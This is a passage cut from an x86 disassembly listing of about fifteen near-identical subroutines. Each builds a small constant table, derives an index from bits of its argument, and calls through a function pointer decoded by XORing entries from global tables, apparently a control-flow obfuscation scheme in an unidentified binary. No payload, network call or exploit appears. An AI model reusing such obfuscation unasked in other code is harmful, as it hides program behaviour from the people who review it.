-38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0E4h mov [ebp+var_2C], 51h mov [ebp+var_28], 6Ah mov [ebp+var_24], 66h mov [ebp+var_20], 80h mov [ebp+var_1C], 0A1h mov [ebp+var_18], 85h mov [ebp+var_14], 5Bh mov [ebp+var_10], 0Ah mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Ah and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AC8FE mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AC8FE: ; CODE XREF: sub_4AC86D+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AC86D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AC96A proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA98o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 90h mov [ebp+var_2C], 0F6h mov [ebp+var_28], 0EFh mov [ebp+var_24], 22h mov [ebp+var_20], 0C1h mov [ebp+var_1C], 0CDh mov [ebp+var_18], 9Dh mov [ebp+var_14], 0B5h mov [ebp+var_10], 7 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 7 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AC9FB mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AC9FB: ; CODE XREF: sub_4AC96A+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AC96A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4ACA67 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDA9Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0C6h mov [ebp+var_2C], 8Eh mov [ebp+var_28], 97h mov [ebp+var_24], 2Ah mov [ebp+var_20], 2Bh mov [ebp+var_1C], 7Ah mov [ebp+var_18], 0D8h mov [ebp+var_14], 1Fh mov [ebp+var_10], 5 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 5 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4ACAF8 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4ACAF8: ; CODE XREF: sub_4ACA67+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4ACA67 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4ACB64 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAA0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 68h mov [ebp+var_2C], 0A3h mov [ebp+var_28], 4 mov [ebp+var_24], 96h mov [ebp+var_20], 96h mov [ebp+var_1C], 32h mov [ebp+var_18], 83h mov [ebp+var_14], 0EBh mov [ebp+var_10], 0Dh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Dh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4ACBF5 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4ACBF5: ; CODE XREF: sub_4ACB64+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4ACB64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4ACC61 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAA4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0A4h mov [ebp+var_2C], 7Ah mov [ebp+var_28], 3Ah mov [ebp+var_24], 0CCh mov [ebp+var_20], 0B7h mov [ebp+var_1C], 0B7h mov [ebp+var_18], 14h mov [ebp+var_14], 0B0h mov [ebp+var_10], 8 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 8 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4ACCF2 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4ACCF2: ; CODE XREF: sub_4ACC61+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4ACC61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4ACD5E proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAA8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 21h mov [ebp+var_2C], 0F9h mov [ebp+var_28], 0C4h mov [ebp+var_24], 8Eh mov [ebp+var_20], 9Eh mov [ebp+var_1C], 70h mov [ebp+var_18], 55h mov [ebp+var_14], 9Ch mov [ebp+var_10], 0Eh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Eh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4ACDEF mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4ACDEF: ; CODE XREF: sub_4ACD5E+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4ACD5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4ACE5B proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAACo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 36h mov [ebp+var_2C], 0A5h mov [ebp+var_28], 46h mov [ebp+var_24], 2Dh mov [ebp+var_20], 1Eh mov [ebp+var_1C], 55h mov [ebp+var_18], 0F3h mov [ebp+var_14], 54h mov [ebp+var_10], 9 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 9 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4ACEEC mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4ACEEC: ; CODE XREF: sub_4ACE5B+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4ACE5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4ACF58 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAB0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 20h mov [ebp+var_2C], 56h mov [ebp+var_28], 46h mov [ebp+var_24], 0E0h mov [ebp+var_20], 0D6h mov [ebp+var_1C], 90h mov [ebp+var_18], 33h mov [ebp+var_14], 44h mov [ebp+var_10], 10h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 10h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4ACFE9 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4ACFE9: ; CODE XREF: sub_4ACF58+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4ACF58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AD055 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAB4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 46h mov [ebp+var_2C], 0CDh mov [ebp+var_28], 0AEh mov [ebp+var_24], 0D8h mov [ebp+var_20], 0BAh mov [ebp+var_1C], 0BBh mov [ebp+var_18], 6Ch mov [ebp+var_14], 0CFh mov [ebp+var_10], 14h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 14h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AD0E6 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AD0E6: ; CODE XREF: sub_4AD055+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AD055 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AD152 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAB8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 51h mov [ebp+var_2C], 72h mov [ebp+var_28], 0B1h mov [ebp+var_24], 83h mov [ebp+var_20], 0BBh mov [ebp+var_1C], 31h mov [ebp+var_18], 0B4h mov [ebp+var_14], 2Ah mov [ebp+var_10], 0 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AD1E0 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AD1E0: ; CODE XREF: sub_4AD152+7Bj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AD152 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AD24C proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDABCo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 74h mov [ebp+var_2C], 8Fh mov [ebp+var_28], 44h mov [ebp+var_24], 0DAh mov [ebp+var_20], 0F1h mov [ebp+var_1C], 16h mov [ebp+var_18], 3Ah mov [ebp+var_14], 5Fh mov [ebp+var_10], 0Ah mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Ah and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AD2DD mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AD2DD: ; CODE XREF: sub_4AD24C+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AD24C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AD349 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAC0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0DCh mov [ebp+var_2C], 98h mov [ebp+var_28], 0F5h mov [ebp+var_24], 0E5h mov [ebp+var_20], 0DFh mov [ebp+var_1C], 0B3h mov [ebp+var_18], 71h mov [ebp+var_14], 1Ch mov [ebp+var_10], 9 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 9 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AD3DA mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AD3DA: ; CODE XREF: sub_4AD349+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4AD349 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4AD446 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDAC4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 61h mov [ebp+var_2C], 7Ch mov [ebp+var_28], 88h mov [ebp+var_24], 70h mov [ebp+var_20], 0CAh mov [ebp+var_1C], 99h mov [ebp+var_18], 0BFh mov [ebp+var_14], 1Eh mov [ebp+var_10], 6 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 6 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4AD4D7 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4AD4D7: ; CODE XREF: sub_4AD446+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov 